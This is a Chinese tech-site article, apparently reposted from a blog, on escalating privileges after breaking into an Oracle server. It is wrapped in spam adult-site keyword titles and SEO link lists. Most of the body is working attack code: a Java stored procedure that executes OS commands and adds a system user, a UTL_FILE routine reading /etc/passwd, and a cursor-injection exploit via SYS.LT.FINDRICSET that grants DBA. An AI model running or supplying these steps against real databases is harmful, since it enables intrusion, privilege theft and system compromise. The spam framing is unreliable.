成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

Oracle服務(wù)器如何進(jìn)一步的獲取權(quán)限

數(shù)據(jù)庫 Oracle
以下的文章主要描述的是如何對入侵Oracle服務(wù)器的進(jìn)一步來獲取權(quán)限有一個正確的操作方案,以下就是相關(guān)方案的介紹。

再進(jìn)行入侵Oracle服務(wù)器的進(jìn)一步來獲取權(quán)限時,我們需要快速的連接上Oracle服務(wù)器,此時你會發(fā)現(xiàn),的情況有,連接之后不是dba權(quán)限,或不能利用SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES漏洞提升權(quán)限。

3.運(yùn)行SELECT UTL_HTTP.request(‘http://xxxxxxxxxxx/login.jsp’) FROM dual 后發(fā)現(xiàn)oracle服務(wù)器不能連接網(wǎng)絡(luò)。

幸運(yùn)的是,

運(yùn)行

 

  1. create or replace function Linx_Query (p varchar2) 
    return number authid current_user is begin execute 
    immediate p; return 1;end; 

成功!這個用戶具有create proceduce權(quán)限。

此時馬上想到創(chuàng)建java擴(kuò)展執(zhí)行命令:

 

  1. create or replace and compile java source named 
    “LinxUtil” as import java.io.*; public class LinxUtil extends Object 
    {public static String runCMD(String args) {try{BufferedReader 
    myReader
    new BufferedReader
    (new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); 
    String stemp,
    str=”";while ((stemp = myReader.readLine()) != null) str +=stemp+” 
    “;myReader.close();return str;} catch (Exception e){return e.toString();}}}  
  2. begin dbms_java.grant_permission
    (‘PUBLIC’, ‘SYS:java.io.FilePermission’, ‘
    <>’, ‘execute’ );end;  
  3. create or replace function LinxRunCMD(p_cmd in varchar2) 
    return varchar2 as language java name 
    ‘LinxUtil.runCMD(java.lang.String) return String’  
  4. select * from all_objects where object_name like ‘%LINX%’  
  5. grant all on LinxRunCMD to public  
  6. select LinxRunCMD(‘cmd /c net user linx /add’) from dual  

 

但是在第一步就卡住了,服務(wù)器由于某種未知原因 不能創(chuàng)建java擴(kuò)展!!

還好,我們還有UTL庫可以利用:

 

  1. create or replace function LinxUTLReadfile 
    (filename varchar2) return varchar2 is  
  2. fHandler UTL_FILE.FILE_TYPE;  
  3. buf varchar2(4000);  
  4. output varchar2(8000);  
  5. BEGIN  
  6. fHandler :UTL_FILE.FOPEN(‘UTL_FILE_DIR’, filename, ‘r’);  
  7. loop  
  8. begin  
  9. utl_file.get_line(fHandler,buf);  
  10. DBMS_OUTPUT.PUT_LINE(‘Cursor: ‘||buf);  
  11. exception  
  12. when no_data_found then exit;  
  13. end;  
  14. output :output||buf||chr(10);  
  15. end loop;  
  16. UTL_FILE.FCLOSE(fHandler);  
  17. return output;  
  18. END;  

 

UTL_FILE_DIR需要先用:

 

  1. CREATE OR REPLACE DIRECTORY UTL_FILE_DIR AS ‘/etc’; 

指定目。但運(yùn)行后發(fā)現(xiàn)沒有權(quán)限。只好想辦法提權(quán)。

游標(biāo)注射

老外寫了N個pdf介紹這技術(shù),我精簡了代碼:

 

  1. DECLARE  
  2.  
  3. MYC NUMBER;  
  4. BEGIN  
  5. MYC :DBMS_SQL.OPEN_CURSOR;  
  6. DBMS_SQL.PARSE(MYC,’declare pragma autonomous_transaction; 
    begin execute immediate 
    ”GRANT DBA TO linxlinx_current_db_user”;commit;end;’,0);  
  7. DBMS_OUTPUT.PUT_LINE(‘Cursor: ‘||MYC);  
  8. BEGIN SYS.LT.FINDRICSET
    (‘.”||dbms_sql.execute( ‘||MYC||’ )||””)–’,'x’); END;  
  9. raise NO_DATA_FOUND;  
  10. EXCEPTION  
  11. WHEN NO_DATA_FOUND THEN DBMS_OUTPUT.PUT_LINE(‘Cursor: ‘||MYC);  
  12. WHEN OTHERS THEN DBMS_OUTPUT.PUT_LINE(‘Cursor: ‘||MYC);  
  13. END;  

 

運(yùn)行后重新連接就有dba權(quán)限了,簡單吧……

現(xiàn)在可以讀取文件了:

 

  1. CREATE OR REPLACE DIRECTORY UTL_FILE_DIR AS ‘/etc’;  
  2. select LinxUTLReadfile(‘passwd’) from dual  

 

后面就簡單了,不寫了。上述的相關(guān)內(nèi)容就是對入侵Oracle服務(wù)器進(jìn)一步獲取權(quán)限的描述,希望會給你帶來一些幫助在此方面。

【編輯推薦】

  1. 在Oracle數(shù)據(jù)庫中使用PL操作COM對象
  2. 對聯(lián)機(jī)備份Oracle數(shù)據(jù)的解剖
  3. Oracle動態(tài)Web開發(fā)實(shí)例演示
  4. Oracle移植到mysql中,應(yīng)注意的事項(xiàng)
  5. Oracle進(jìn)程中出現(xiàn)帶鎖狀況的解決

 

責(zé)任編輯:佚名 來源: 博客園
相關(guān)推薦

2010-04-26 12:29:31

Oracle服務(wù)器

2009-12-28 10:08:07

OracleSQLDevelope開發(fā)框架

2022-01-04 13:21:30

穩(wěn)定幣加密貨幣貨幣

2010-03-01 15:50:45

2021-04-05 18:06:36

谷歌安卓Google Play

2011-07-27 12:58:43

Android MarAndroid應(yīng)用商店

2011-07-29 15:02:22

LifeSize視頻協(xié)作

2020-12-10 20:00:04

數(shù)字貨幣比特幣區(qū)塊鏈

2019-03-22 10:20:39

加速Windows 10啟動

2023-09-01 18:20:43

Chrome代碼測試版

2022-02-21 10:37:32

數(shù)字人民幣北京冬奧會

2020-11-13 12:24:10

Google

2023-12-20 09:55:51

雷達(dá)傳感器算法

2013-10-17 17:29:38

華為ICT華為

2009-08-26 14:48:05

C#委托與事件

2024-05-10 15:09:34

2010-03-15 09:40:19

Windows 8研發(fā)

2017-05-28 12:09:07

CDNIPTV運(yùn)營商

2015-10-19 14:57:51

2014-01-08 10:22:28

思科Videoscape
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號

主站蜘蛛池模板: 日韩欧美一区二区三区在线播放 | 色吧色综合 | 中文字幕日韩一区 | 在线中文字幕av | 国产视频第一页 | 日韩在线中文字幕 | 91九色视频 | 国产精品久久久爽爽爽麻豆色哟哟 | 欧美成视频在线观看 | 人成久久 | 成人午夜网站 | 日韩欧美一区二区三区免费看 | 精品一二区 | 国产高清在线 | 在线国产中文字幕 | 久久美女视频 | 中文字幕成人 | 日韩中文字幕在线视频观看 | 懂色tv | 成人精品一区亚洲午夜久久久 | 在线日韩欧美 | 久久久蜜桃一区二区人 | 欧美一区二区大片 | 在线午夜| av免费网站在线观看 | 久久久久久久久久久久久91 | 中文字幕不卡在线88 | 青青久久久 | 久久一级 | jav成人av免费播放 | 宅女噜噜66国产精品观看免费 | 牛牛热在线视频 | 国产精品黄 | www.久久| 我要看免费一级毛片 | 日本韩国电影免费观看 | 亚洲天堂二区 | 精品成人免费视频 | 久久精品一级 | 亚洲成人一区 | 日韩精品一区二区久久 |